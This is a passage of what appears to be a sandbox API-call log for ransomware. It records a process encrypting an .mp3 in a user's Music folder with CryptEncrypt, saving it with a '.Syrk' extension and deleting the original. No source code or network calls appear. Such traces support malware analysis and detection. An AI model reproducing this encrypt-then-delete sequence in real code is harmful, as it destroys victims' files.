lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x58 [0235.962] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3.Syrk", nBufferLength=0x58, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3.Syrk", lpFilePart=0x0) returned 0x57 [0235.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0235.962] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\69v7zlnse_6kw0ym e.mp3.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0235.963] GetFileType (hFile=0x458) returned 0x1 [0235.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0235.963] GetFileType (hFile=0x458) returned 0x1 [0235.964] EtwEventActivityIdControl () returned 0x0 [0235.964] CryptGenRandom (in: hProv=0x5c4d298, dwLen=0x10, pbBuffer=0x23f6890 | out: pbBuffer=0x23f6890) returned 1 [0235.966] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.967] CryptDuplicateKey (in: hKey=0x5c69440, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c69240) returned 1 [0235.967] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.967] CryptSetKeyParam (hKey=0x5c69240, dwParam=0x4, pbData=0x23f7bc8*=0x1, dwFlags=0x0) returned 1 [0235.967] CryptSetKeyParam (hKey=0x5c69240, dwParam=0x1, pbData=0x23f7b94, dwFlags=0x0) returned 1 [0235.967] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.968] EtwEventActivityIdControl () returned 0x0 [0235.968] EtwEventActivityIdControl () returned 0x0 [0235.968] EtwEventActivityIdControl () returned 0x0 [0235.969] EtwEventActivityIdControl () returned 0x0 [0235.969] ReadFile (in: hFile=0x454, lpBuffer=0x23fa804, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23fa804*, lpNumberOfBytesRead=0x5a2e7d8*=0x2984, lpOverlapped=0x0) returned 1 [0235.971] CryptEncrypt (in: hKey=0x5c69240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x240e81c*, pdwDataLen=0x5a2e7cc*=0x2980, dwBufLen=0x2980 | out: pbData=0x240e81c*, pdwDataLen=0x5a2e7cc*=0x2980) returned 1 [0235.971] WriteFile (in: hFile=0x458, lpBuffer=0x23f696c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23f696c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0235.973] WriteFile (in: hFile=0x458, lpBuffer=0x240f808*, nNumberOfBytesToWrite=0x1994, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x240f808*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1994, lpOverlapped=0x0) returned 1 [0235.974] ReadFile (in: hFile=0x454, lpBuffer=0x23fa804, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23fa804*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0235.974] CryptEncrypt (in: hKey=0x5c69240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24111a8*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24111a8*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0235.974] CryptEncrypt (in: hKey=0x5c69240, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24111c4*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24111c4*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0235.974] WriteFile (in: hFile=0x458, lpBuffer=0x23f696c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x23f696c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0235.974] CloseHandle (hObject=0x458) returned 1 [0235.975] CloseHandle (hObject=0x454) returned 1 [0235.976] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.976] EtwEventActivityIdControl () returned 0x0 [0235.976] EtwEventActivityIdControl () returned 0x0 [0235.976] EtwEventActivityIdControl () returned 0x0 [0235.984] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\69v7zlnse_6kw0ym e.mp3")) returned 0x20 [0235.987] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0235.988] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", nBufferLength=0x53, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", lpFilePart=0x0) returned 0x52 [0235.988] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0235.988] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0235.988] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0235.988] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0235.989] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0235.989] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0235.989] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0235.989] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0235.989] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0235.989] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0235.990] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0235.990] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0235.990] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0235.990] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0235.990] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0235.990] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0235.990] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0235.991] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0235.991] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0235.991] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0235.991] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0235.991] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0235.991] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0235.991] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0235.991] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc")) returned 0x10 [0235.991] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc")) returned 0x10 [0235.992] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0235.992] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", nBufferLength=0x3c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", lpFilePart=0x0) returned 0x3b [0235.992] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\69v7zlnse_6kw0ym e.mp3")) returned 0x20 [0235.992] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0235.992] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", nBufferLength=0x53, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", lpFilePart=0x0) returned 0x52 [0235.996] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0235.996] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", nBufferLength=0x53, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", lpFilePart=0x0) returned 0x52 [0235.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0235.996] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0235.996] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", nBufferLength=0x53, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", lpFilePart=0x0) returned 0x52 [0235.998] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\69v7zlnse_6kw0ym e.mp3\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0235.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0235.998] CoTaskMemAlloc (cb=0x404) returned 0x5c9b950 [0235.998] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9b950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0235.999] CoTaskMemFree (pv=0x5c9b950) [0236.001] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\69v7zlnse_6kw0ym e.mp3")) returned 0x20 [0236.001] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0236.001] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", nBufferLength=0x53, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", lpFilePart=0x0) returned 0x52 [0236.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0236.001] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\69v7zlnse_6kw0ym e.mp3"), fInfoLevelId=0x0, lpFileInformation=0x2422a58 | out: lpFileInformation=0x2422a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27b0cc30, ftCreationTime.dwHighDateTime=0x1d994c0, ftLastAccessTime.dwLowDateTime=0x55beac10, ftLastAccessTime.dwHighDateTime=0x1d99528, ftLastWriteTime.dwLowDateTime=0x55beac10, ftLastWriteTime.dwHighDateTime=0x1d99528, nFileSizeHigh=0x0, nFileSizeLow=0x2984)) returned 1 [0236.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0236.002] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\69v7zlnse_6kw0ym e.mp3")) returned 1 [0236.004] EtwEventActivityIdControl () returned 0x0 [0236.004] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.004] EtwEventActivityIdControl () returned 0x0 [0236.004] EtwEventActivityIdControl () returned 0x0 [0236.004] EtwEventActivityIdControl () returned 0x0 [0236.015] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\69v7zlnse_6kw0ym e.mp3.syrk")) returned 0x20 [0236.017] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\69v7zlnse_6kw0ym e.mp3.syrk")) returned 0x20 [0236.017] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x58 [0236.017] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3.Syrk", nBufferLength=0x58, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3.Syrk", lpFilePart=0x0) returned 0x57 [0236.017] EtwEventActivityIdControl () returned 0x0 [0236.018] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.018] EtwEventActivityIdControl () returned 0x0 [0236.018] EtwEventActivityIdControl () returned 0x0 [0236.018] EtwEventActivityIdControl () returned 0x0 [0236.023] EtwEventActivityIdControl () returned 0x0 [0236.023] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.024] EtwEventActivityIdControl () returned 0x0 [0236.024] EtwEventActivityIdControl () returned 0x0 [0236.024] EtwEventActivityIdControl () returned 0x0 [0236.029] EtwEventActivityIdControl () returned 0x0 [0236.029] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.030] EtwEventActivityIdControl () returned 0x0 [0236.030] EtwEventActivityIdControl () returned 0x0 [0236.030] EtwEventActivityIdControl () returned 0x0 [0236.034] EtwEventActivityIdControl () returned 0x0 [0236.035] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.035] EtwEventActivityIdControl () returned 0x0 [0236.035] EtwEventActivityIdControl () returned 0x0 [0236.035] EtwEventActivityIdControl () returned 0x0 [0236.040] EtwEventActivityIdControl () returned 0x0 [0236.040] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.040] EtwEventActivityIdControl () returned 0x0 [0236.040] EtwEventActivityIdControl () returned 0x0 [0236.040] EtwEventActivityIdControl () returned 0x0 [0236.047] EtwEventActivityIdControl () returned 0x0 [0236.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0236.052] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\69v7zlnse_6kw0ym e.mp3.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2431a9c | out: lpFileInformation=0x2431a9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88143a0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x88143a0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x883a500, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x29a4)) returned 1 [0236.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0236.053] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e59c | out: lpConsoleScreenBufferInfo=0x5a2e59c) returned 1 [0236.054] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e594 | out: lpMode=0x5a2e594) returned 1 [0236.054] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e588, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e588*=0x2) returned 1 [0236.055] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e540 | out: lpConsoleScreenBufferInfo=0x5a2e540) returned 1 [0236.055] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0236.055] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0236.056] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0236.056] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e5a4 | out: lpConsoleScreenBufferInfo=0x5a2e5a4) returned 1 [0236.057] GetConsoleOutputCP () returned 0x1b5 [0236.057] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e314, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e314) returned 0 [0236.057] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e3f4 | out: lpConsoleScreenBufferInfo=0x5a2e3f4) returned 1 [0236.057] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0236.058] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x244c19c*, nNumberOfCharsToWrite=0x4a, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x244c19c*, lpNumberOfCharsWritten=0x5a2e3e0*=0x4a) returned 1 [0236.058] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0236.058] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e3e0*=0x2) returned 1 [0236.059] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4fc | out: lpConsoleScreenBufferInfo=0x5a2e4fc) returned 1 [0236.060] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4f4 | out: lpMode=0x5a2e4f4) returned 1 [0236.060] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e8*=0x2) returned 1 [0236.061] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0236.061] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0236.061] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0236.062] GetConsoleOutputCP () returned 0x1b5 [0236.062] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0236.062] GetConsoleOutputCP () returned 0x1b5 [0236.063] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0236.063] GetConsoleOutputCP () returned 0x1b5 [0236.063] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0236.063] 